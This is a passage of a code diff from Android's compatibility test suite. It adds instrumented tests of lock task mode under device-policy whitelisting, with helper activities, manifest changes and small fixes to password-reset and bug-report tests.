+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class LockTaskTest extends BaseDeviceAdminTest {
+
+    private static final String TAG = "LockTaskTest";
+
+    private static final String PACKAGE_NAME = LockTaskTest.class.getPackage().getName();
+    private static final ComponentName ADMIN_COMPONENT = ADMIN_RECEIVER_COMPONENT;
+    private static final String TEST_PACKAGE = "com.google.android.example.somepackage";
+
+    private static final String UTILITY_ACTIVITY
+            = "com.android.cts.deviceandprofileowner.LockTaskUtilityActivity";
+    private static final String UTILITY_ACTIVITY_IF_WHITELISTED
+            = "com.android.cts.deviceandprofileowner.LockTaskUtilityActivityIfWhitelisted";
+
+    private static final String RECEIVER_ACTIVITY_PACKAGE_NAME =
+            "com.android.cts.intent.receiver";
+    private static final String RECEIVER_ACTIVITY_NAME =
+            "com.android.cts.intent.receiver.IntentReceiverActivity";
+    private static final String ACTION_JUST_CREATE =
+            "com.android.cts.action.JUST_CREATE";
+    private static final String ACTION_CREATE_AND_WAIT =
+            "com.android.cts.action.CREATE_AND_WAIT";
+    private static final String RECEIVER_ACTIVITY_CREATED_ACTION =
+            "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_CREATED";
+    private static final String RECEIVER_ACTIVITY_DESTROYED_ACTION =
+            "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_DESTROYED";
+
+    private static final long ACTIVITY_RESUMED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
+    private static final long ACTIVITY_RUNNING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+    private static final long ACTIVITY_DESTROYED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(60);
+
+    /**
+     * The tests below need to keep detailed track of the state of the activity
+     * that is started and stopped frequently.  To do this it sends a number of
+     * broadcasts that are caught here and translated into booleans (as well as
+     * notify some locks in case we are waiting).  There is also an action used
+     * to specify that the activity has finished handling the current command
+     * (INTENT_ACTION).
+     */
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            Log.d(TAG, "onReceive: " + action);
+            if (LockTaskUtilityActivity.CREATE_ACTION.equals(action)) {
+                synchronized (mActivityRunningLock) {
+                    mIsActivityRunning = true;
+                    mActivityRunningLock.notify();
+                }
+            } else if (LockTaskUtilityActivity.DESTROY_ACTION.equals(action)) {
+                synchronized (mActivityRunningLock) {
+                    mIsActivityRunning = false;
+                    mActivityRunningLock.notify();
+                }
+            } else if (LockTaskUtilityActivity.RESUME_ACTION.equals(action)) {
+                synchronized (mActivityResumedLock) {
+                    mIsActivityResumed = true;
+                    mActivityResumedLock.notify();
+                }
+            } else if (LockTaskUtilityActivity.PAUSE_ACTION.equals(action)) {
+                synchronized (mActivityResumedLock) {
+                    mIsActivityResumed = false;
+                    mActivityResumedLock.notify();
+                }
+            } else if (LockTaskUtilityActivity.INTENT_ACTION.equals(action)) {
+                // Notify that intent has been handled.
+                synchronized (LockTaskTest.this) {
+                    mIntentHandled = true;
+                    LockTaskTest.this.notify();
+                }
+            } else if (RECEIVER_ACTIVITY_CREATED_ACTION.equals(action)) {
+                synchronized(mReceiverActivityRunningLock) {
+                    mIsReceiverActivityRunning = true;
+                    mReceiverActivityRunningLock.notify();
+                }
+            } else if (RECEIVER_ACTIVITY_DESTROYED_ACTION.equals(action)) {
+                synchronized (mReceiverActivityRunningLock) {
+                    mIsReceiverActivityRunning = false;
+                    mReceiverActivityRunningLock.notify();
+                }
+            }
+        }
+    };
+
+    private volatile boolean mIsActivityRunning;
+    private volatile boolean mIsActivityResumed;
+    private volatile boolean mIsReceiverActivityRunning;
+    private volatile boolean mIntentHandled;
+    private final Object mActivityRunningLock = new Object();
+    private final Object mActivityResumedLock = new Object();
+    private final Object mReceiverActivityRunningLock = new Object();
+
+    private Context mContext;
+    private ActivityManager mActivityManager;
+    private DevicePolicyManager mDevicePolicyManager;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getContext();
+
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+        mActivityManager = mContext.getSystemService(ActivityManager.class);
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(LockTaskUtilityActivity.CREATE_ACTION);
+        filter.addAction(LockTaskUtilityActivity.DESTROY_ACTION);
+        filter.addAction(LockTaskUtilityActivity.INTENT_ACTION);
+        filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
+        filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
+        filter.addAction(RECEIVER_ACTIVITY_CREATED_ACTION);
+        filter.addAction(RECEIVER_ACTIVITY_DESTROYED_ACTION);
+        mContext.registerReceiver(mReceiver, filter);
+    }
+
+    @After
+    public void tearDown() {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+        mContext.unregisterReceiver(mReceiver);
+    }
+
+    // Setting and unsetting the lock task packages.
+    @Test
+    public void testSetLockTaskPackages() {
+        final String[] packages = new String[] { TEST_PACKAGE, "some.other.package" };
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, packages);
+        assertArrayEquals(packages, mDevicePolicyManager.getLockTaskPackages(ADMIN_COMPONENT));
+        assertTrue(mDevicePolicyManager.isLockTaskPermitted(TEST_PACKAGE));
+
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+        assertEquals(0, mDevicePolicyManager.getLockTaskPackages(ADMIN_COMPONENT).length);
+        assertFalse(mDevicePolicyManager.isLockTaskPermitted(TEST_PACKAGE));
+    }
+
+    // Setting and unsetting the lock task features. The actual UI behavior is tested with CTS
+    // verifier.
+    @Test
+    public void testSetLockTaskFeatures() {
+        final int[] flags = new int[] {
+                LOCK_TASK_FEATURE_SYSTEM_INFO,
+                LOCK_TASK_FEATURE_HOME,
+                LOCK_TASK_FEATURE_NOTIFICATIONS,
+                LOCK_TASK_FEATURE_OVERVIEW,
+                LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
+                LOCK_TASK_FEATURE_KEYGUARD
+        };
+
+        int cumulative = LOCK_TASK_FEATURE_NONE;
+        for (int flag : flags) {
+            if (flag == LOCK_TASK_FEATURE_OVERVIEW || flag == LOCK_TASK_FEATURE_NOTIFICATIONS) {
+                // Those flags can only be used in combination with HOME
+                assertThrows(
+                        IllegalArgumentException.class,
+                        () -> mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, flag));
+            } else {
+                mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, flag);
+                assertEquals(flag, mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+            }
+
+            cumulative |= flag;
+            mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, cumulative);
+            assertEquals(cumulative, mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+
+            mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, LOCK_TASK_FEATURE_NONE);
+            assertEquals(LOCK_TASK_FEATURE_NONE,
+                    mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+        }
+    }
+
+    // Start lock task, verify that ActivityManager knows thats what is going on.
+    @Test
+    public void testStartLockTask() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startLockTask(UTILITY_ACTIVITY);
+        waitForResume();
+
+        // Verify that activity open and activity manager is in lock task.
+        assertLockTaskModeActive();
+        assertTrue(mIsActivityRunning);
+        assertTrue(mIsActivityResumed);
+
+        stopAndFinish(UTILITY_ACTIVITY);
+    }
+
+    // Verifies that the act of finishing is blocked by ActivityManager in lock task.
+    // This results in onDestroy not being called until stopLockTask is called before finish.
+    @Test
+    public void testCannotFinish() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startLockTask(UTILITY_ACTIVITY);
+
+        // If lock task has not exited then the activity shouldn't actually receive onDestroy.
+        finishAndWait(UTILITY_ACTIVITY);
+        assertLockTaskModeActive();
+        assertTrue(mIsActivityRunning);
+
+        stopAndFinish(UTILITY_ACTIVITY);
+    }
+
+    // Verifies that updating the whitelisting during lock task mode finishes the locked task.
+    @Test
+    public void testUpdateWhitelisting() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startLockTask(UTILITY_ACTIVITY);
+
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+
+        synchronized (mActivityRunningLock) {
+            mActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
+        }
+
+        assertLockTaskModeInactive();
+        assertFalse(mIsActivityRunning);
+        assertFalse(mIsActivityResumed);
+    }
+
+    // Verifies that removing the whitelist authorization immediately finishes the corresponding
+    // locked task. The other locked task(s) should remain locked.
+    @Test
+    public void testUpdateWhitelisting_twoTasks() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
+                RECEIVER_ACTIVITY_PACKAGE_NAME});
+
+        // Start first locked task
+        startLockTask(UTILITY_ACTIVITY);
+        waitForResume();
+
+        // Start the other task from the running activity
+        mIsReceiverActivityRunning = false;
+        Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, true /*shouldWait*/);
+        mContext.startActivity(launchIntent);
+        synchronized (mReceiverActivityRunningLock) {
+            mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            assertTrue(mIsReceiverActivityRunning);
+        }
+
+        // Remove whitelist authorization of the second task
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        synchronized (mReceiverActivityRunningLock) {
+            mReceiverActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
+            assertFalse(mIsReceiverActivityRunning);
+        }
+
+        assertLockTaskModeActive();
+        assertTrue(mIsActivityRunning);
+        assertTrue(mIsActivityResumed);
+
+        stopAndFinish(UTILITY_ACTIVITY);
+    }
+
+    // This launches an activity that is in the current task.
+    // This should always be permitted as a part of lock task (since it isn't a new task).
+    @Test
+    public void testStartActivity_withinTask() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startLockTask(UTILITY_ACTIVITY);
+        waitForResume();
+
+        mIsReceiverActivityRunning = false;
+        Intent launchIntent = createReceiverActivityIntent(false /*newTask*/, false /*shouldWait*/);
+        Intent lockTaskUtility = getLockTaskUtility(UTILITY_ACTIVITY);
+        lockTaskUtility.putExtra(LockTaskUtilityActivity.START_ACTIVITY, launchIntent);
+        mContext.startActivity(lockTaskUtility);
+
+        synchronized (mReceiverActivityRunningLock) {
+            mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            assertTrue(mIsReceiverActivityRunning);
+        }
+        stopAndFinish(UTILITY_ACTIVITY);
+    }
+
+    // This launches a whitelisted activity that is not part of the current task.
+    // This should be permitted as a part of lock task.
+    @Test
+    public void testStartActivity_outsideTaskWhitelisted() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
+                RECEIVER_ACTIVITY_PACKAGE_NAME});
+        startLockTask(UTILITY_ACTIVITY);
+        waitForResume();
+
+        mIsReceiverActivityRunning = false;
+        Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, false /*shouldWait*/);
+        mContext.startActivity(launchIntent);
+        synchronized (mReceiverActivityRunningLock) {
+            mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            assertTrue(mIsReceiverActivityRunning);
+        }
+        stopAndFinish(UTILITY_ACTIVITY);
+    }
+
+    // This launches a non-whitelisted activity that is not part of the current task.
+    // This should be blocked.
+    @Test
+    public void testStartActivity_outsideTaskNonWhitelisted() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startLockTask(UTILITY_ACTIVITY);
+        waitForResume();
+
+        Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, false /*shouldWait*/);
+        mContext.startActivity(launchIntent);
+        synchronized (mActivityResumedLock) {
+            mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            assertFalse(mIsReceiverActivityRunning);
+        }
+        stopAndFinish(UTILITY_ACTIVITY);
+    }
+
+    // Test the lockTaskMode flag for an activity declaring if_whitelisted.
+    // Whitelist the activity and verify that lock task mode is started.
+    @Test
+    public void testManifestArgument_whitelisted() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
+        waitForResume();
+
+        assertLockTaskModeActive();
+        assertTrue(mIsActivityRunning);
+        assertTrue(mIsActivityResumed);
+
+        stopAndFinish(UTILITY_ACTIVITY_IF_WHITELISTED);
+    }
+
+    // Test the lockTaskMode flag for an activity declaring if_whitelisted.
+    // Don't whitelist the activity and verify that lock task mode is not started.
+    @Test
+    public void testManifestArgument_nonWhitelisted() throws Exception {
+        startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
+        waitForResume();
+
+        assertLockTaskModeInactive();
+        assertTrue(mIsActivityRunning);
+        assertTrue(mIsActivityResumed);
+
+        stopAndFinish(UTILITY_ACTIVITY_IF_WHITELISTED);
+    }
+
+    // Test the lockTaskMode flag for an activity declaring if_whitelisted.
+    // An activity locked via manifest argument cannot finish without calling stopLockTask.
+    @Test
+    public void testManifestArgument_cannotFinish() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
+        waitForResume();
+
+        // If lock task has not exited then the activity shouldn't actually receive onDestroy.
+        finishAndWait(UTILITY_ACTIVITY_IF_WHITELISTED);
+        assertLockTaskModeActive();
+        assertTrue(mIsActivityRunning);
+
+        stopAndFinish(UTILITY_ACTIVITY_IF_WHITELISTED);
+    }
+
+    // Test the lockTaskMode flag for an activity declaring if_whitelisted.
+    // Verifies that updating the whitelisting during lock task mode finishes the locked task.
+    @Test
+    public void testManifestArgument_updateWhitelisting() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startAndWait(getLockTaskUtility(UTILITY_ACTIVITY_IF_WHITELISTED));
+        waitForResume();
+
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
+
+        synchronized (mActivityRunningLock) {
+            mActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
+        }
+
+        assertLockTaskModeInactive();
+        assertFalse(mIsActivityRunning);
+        assertFalse(mIsActivityResumed);
+    }
+
+    // Start lock task with ActivityOptions
+    @Test
+    public void testActivityOptions_whitelisted() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startLockTaskWithOptions(UTILITY_ACTIVITY);
+        waitForResume();
+
+        // Verify that activity open and activity manager is in lock task.
+        assertLockTaskModeActive();
+        assertTrue(mIsActivityRunning);
+        assertTrue(mIsActivityResumed);
+
+        stopAndFinish(UTILITY_ACTIVITY);
+    }
+
+    // Starting a non-whitelisted activity with ActivityOptions is not allowed
+    @Test(expected = SecurityException.class)
+    public void testActivityOptions_nonWhitelisted() throws Exception {
+        startLockTaskWithOptions(UTILITY_ACTIVITY);
+    }
+
+    /**
+     * Checks that lock task mode is active and fails the test if it isn't.
+     */
+    private void assertLockTaskModeActive() {
+        assertTrue(mActivityManager.isInLockTaskMode());
+        assertEquals(ActivityManager.LOCK_TASK_MODE_LOCKED,
+                mActivityManager.getLockTaskModeState());
+    }
+
+    /**
+     * Checks that lock task mode is not active and fails the test if it is.
+     */
+    private void assertLockTaskModeInactive() throws InterruptedException {
+        // Retry 10 times with 200 ms interval.
+        for (int i = 0; i < 10 && mActivityManager.isInLockTaskMode(); i++) {
+            Thread.sleep(200);
+        }
+        assertFalse(mActivityManager.isInLockTaskMode());
+        assertEquals(ActivityManager.LOCK_TASK_MODE_NONE, mActivityManager.getLockTaskModeState());
+    }
+
+    /**
+     * Call stopLockTask and finish on the LockTaskUtilityActivity.
+     *
+     * Verify that the activity is no longer running.
+     *
+     * If activityManager is not null then verify that the ActivityManager
+     * is no longer in lock task mode.
+     */
+    private void stopAndFinish(String className) throws InterruptedException {
+        stopLockTask(className);
+        finishAndWait(className);
+        assertLockTaskModeInactive();
+        assertFalse(mIsActivityRunning);
+    }
+
+    /**
+     * Call finish on the LockTaskUtilityActivity and wait for
+     * onDestroy to be called.
+     */
+    private void finishAndWait(String className) throws InterruptedException {
+        synchronized (mActivityRunningLock) {
+            finish(className);
+            if (mIsActivityRunning) {
+                mActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
+            }
+        }
+    }
+
+    /**
+     * Wait for onResume to be called on the LockTaskUtilityActivity.
+     */
+    private void waitForResume() throws InterruptedException {
+        // It may take a moment for the resume to come in.
+        synchronized (mActivityResumedLock) {
+            if (!mIsActivityResumed) {
+                mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            }
+        }
+    }
+
+    /**
+     * Calls startLockTask on the LockTaskUtilityActivity
+     */
+    private void startLockTask(String className) throws InterruptedException {
+        Intent intent = getLockTaskUtility(className);
+        intent.putExtra(LockTaskUtilityActivity.START_LOCK_TASK, true);
+        startAndWait(intent);
+    }
+
+    /**
+     * Starts LockTaskUtilityActivity with {@link ActivityOptions#setLockTaskEnabled(boolean)}
+     */
+    private void startLockTaskWithOptions(String className) throws InterruptedException {
+        Intent intent = getLockTaskUtility(className);
+        Bundle options = ActivityOptions.makeBasic().setLockTaskEnabled(true).toBundle();
+        startAndWait(intent, options);
+    }
+
+    /**
+     * Calls stopLockTask on the LockTaskUtilityActivity
+     */
+    private void stopLockTask(String className) throws InterruptedException {
+        Intent intent = getLockTaskUtility(className);
+        intent.putExtra(LockTaskUtilityActivity.STOP_LOCK_TASK, true);
+        startAndWait(intent);
+    }
+
+    /**
+     * Calls finish on the LockTaskUtilityActivity
+     */
+    private void finish(String className) throws InterruptedException {
+        Intent intent = getLockTaskUtility(className);
+        intent.putExtra(LockTaskUtilityActivity.FINISH, true);
+        startAndWait(intent);
+    }
+
+    /**
+     * Sends a command intent to the LockTaskUtilityActivity and waits
+     * to receive the broadcast back confirming it has finished processing
+     * the command.
+     */
+    private void startAndWait(Intent intent) throws InterruptedException {
+        startAndWait(intent, null);
+    }
+
+    /**
+     * Same as {@link #startAndWait(Intent)}, but with additional {@link ActivityOptions}.
+     */
+    private void startAndWait(Intent intent, Bundle options) throws InterruptedException {
+        mIntentHandled = false;
+        synchronized (this) {
+            mContext.startActivity(intent, options);
+            // Give 20 secs to finish.
+            wait(ACTIVITY_RUNNING_TIMEOUT_MILLIS);
+            assertTrue(mIntentHandled);
+        }
+    }
+
+    /**
+     * Get basic intent that points at the LockTaskUtilityActivity.
+     *
+     * This intent includes the flags to make it act as single top.
+     */
+    private Intent getLockTaskUtility(String className) {
+        Intent intent = new Intent();
+        intent.setClassName(PACKAGE_NAME, className);
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+        return intent;
+    }
+
+    /** Create an intent to launch {@link #RECEIVER_ACTIVITY_NAME}. */
+    private Intent createReceiverActivityIntent(boolean newTask, boolean shouldWait) {
+        final Intent intent = new Intent();
+        intent.setComponent(
+                new ComponentName(RECEIVER_ACTIVITY_PACKAGE_NAME, RECEIVER_ACTIVITY_NAME));
+        intent.setAction(shouldWait ? ACTION_CREATE_AND_WAIT : ACTION_JUST_CREATE);
+        intent.setFlags(newTask ? Intent.FLAG_ACTIVITY_NEW_TASK : 0);
+        return intent;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivity.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivity.java
new file mode 100644
index 0000000..7811437
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivity.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.util.Log;
+
+public class LockTaskUtilityActivity extends Activity {
+    private static final String TAG = "LockTaskUtilityActivity";
+
+    public static final String START_LOCK_TASK = "startLockTask";
+    public static final String STOP_LOCK_TASK = "stopLockTask";
+    public static final String START_ACTIVITY = "startActivity";
+    public static final String FINISH = "finish";
+
+    public static final String CREATE_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_CREATE";
+    public static final String DESTROY_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_DESTROY";
+    public static final String PAUSE_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_PAUSE";
+    public static final String RESUME_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_RESUME";
+    public static final String INTENT_ACTION = "com.android.cts.deviceandprofileowner.LOCK_TASK_INTENT";
+
+    private static volatile boolean isActivityResumed;
+    private static final Object ACTIVITY_RESUMED_LOCK = new Object();
+
+    private static void setIsActivityResumed(boolean newValue) {
+        synchronized (ACTIVITY_RESUMED_LOCK) {
+            isActivityResumed = newValue;
+            ACTIVITY_RESUMED_LOCK.notify();
+        }
+    }
+
+    /** Returns true if it's successful. */
+    public static boolean waitUntilActivityResumed(long timeoutMs) throws InterruptedException {
+        synchronized (ACTIVITY_RESUMED_LOCK) {
+            if (!isActivityResumed) {
+                ACTIVITY_RESUMED_LOCK.wait(timeoutMs);
+            }
+            return isActivityResumed;
+        }
+    }
+
+    /** Returns true if it's successful. */
+    public static boolean waitUntilActivityPaused(long timeoutMs) throws InterruptedException {
+        synchronized (ACTIVITY_RESUMED_LOCK) {
+            if (isActivityResumed) {
+                ACTIVITY_RESUMED_LOCK.wait(timeoutMs);
+            }
+            return !isActivityResumed;
+        }
+    }
+
+    @Override
+    protected void onNewIntent(Intent intent) {
+        super.onNewIntent(intent);
+        handleIntent(intent);
+    }
+
+    @Override
+    protected void onCreate(android.os.Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        sendLocalBroadcast(new Intent(CREATE_ACTION));
+        handleIntent(getIntent());
+    }
+
+    @Override
+    protected void onDestroy() {
+        sendLocalBroadcast(new Intent(DESTROY_ACTION));
+        super.onDestroy();
+    }
+
+    @Override
+    protected void onResume() {
+        setIsActivityResumed(true);
+        sendLocalBroadcast(new Intent(RESUME_ACTION));
+        super.onResume();
+    }
+
+    @Override
+    protected void onPause() {
+        setIsActivityResumed(false);
+        sendLocalBroadcast(new Intent(PAUSE_ACTION));
+        super.onPause();
+    }
+
+    private void handleIntent(Intent intent) {
+        if (intent.getBooleanExtra(START_LOCK_TASK, false)) {
+            startLockTask();
+        }
+        if (intent.getBooleanExtra(STOP_LOCK_TASK, false)) {
+            stopLockTask();
+        }
+        if (intent.hasExtra(START_ACTIVITY)) {
+            Intent i = intent.getParcelableExtra(START_ACTIVITY);
+            startActivity(i);
+        }
+        if (intent.getBooleanExtra(FINISH, false)) {
+            finish();
+        }
+        sendLocalBroadcast(new Intent(INTENT_ACTION));
+    }
+
+    private void sendLocalBroadcast(Intent intent) {
+        Log.d(TAG, "sendLocalBroadcast: " + intent.getAction());
+        intent.setPackage(this.getPackageName());
+        intent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        sendBroadcast(intent);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivityIfWhitelisted.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivityIfWhitelisted.java
new file mode 100644
index 0000000..d030fdd
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/LockTaskUtilityActivityIfWhitelisted.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
index 31d3bf9..5f16337 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordTest.java
@@ -42,6 +42,7 @@
      * Test: a Device Owner or (un-managed) Profile Owner can create, change and remove a password.
      */
     public void testResetPassword() {
+        waitUntilUserUnlocked();
         testResetPasswordEnabled(true, true);
     }
 
@@ -49,6 +50,7 @@
      * Test: a managed Profile Owner can create and change, but not remove, a password.
      */
     public void testResetPasswordManagedProfile() {
+        waitUntilUserUnlocked();
         testResetPasswordEnabled(true, false);
     }
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
index ebb848b..da569f3 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/AndroidManifest.xml
@@ -72,19 +72,6 @@
         </service>
 
         <activity
-            android:name="com.android.cts.deviceowner.LockTaskUtilityActivity" />
-        <activity
-            android:name="com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted"
-            android:launchMode="singleInstance"
-            android:lockTaskMode="if_whitelisted">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.HOME"/>
-                <category android:name="android.intent.category.DEFAULT"/>
-            </intent-filter>
-        </activity>
-
-        <activity
             android:name=".SetPolicyActivity"
             android:launchMode="singleTop">
             <intent-filter>
@@ -95,6 +82,13 @@
 
         <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
 
+        <service android:name="com.android.cts.deviceowner.NotificationListener"
+                 android:label="Notification Listener"
+                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
index 42fb4464..b793408 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
@@ -15,9 +15,8 @@
  */
 package com.android.cts.deviceowner;
 
-import android.app.admin.DevicePolicyManager;
+import android.app.PendingIntent;
 import android.content.ContentResolver;
-import android.content.Context;
 import android.os.Process;
 import android.provider.Settings;
 
@@ -26,6 +25,7 @@
 import java.security.cert.Certificate;
 import java.security.cert.CertificateFactory;
 import java.util.List;
+import java.util.concurrent.CountDownLatch;
 
 public class AdminActionBookkeepingTest extends BaseDeviceOwnerTest {
     /*
@@ -107,6 +107,10 @@
      * Test: Requesting a bug report should update the corresponding timestamp.
      */
     public void testRequestBugreport() throws Exception {
+        // This test leaves a notification which will block future tests that request bug reports
+        // to fix this - we dismiss the bug report before returning
+        CountDownLatch notificationDismissedLatch = initTestRequestBugreport();
+
         Thread.sleep(1);
         final long previousTimestamp = mDevicePolicyManager.getLastBugReportRequestTime();
 
@@ -118,6 +122,34 @@
         assertTrue(newTimestamp > previousTimestamp);
         assertTrue(newTimestamp >= timeBefore);
         assertTrue(newTimestamp <= timeAfter);
+
+        cleanupTestRequestBugreport(notificationDismissedLatch);
+    }
+
+    private CountDownLatch initTestRequestBugreport() {
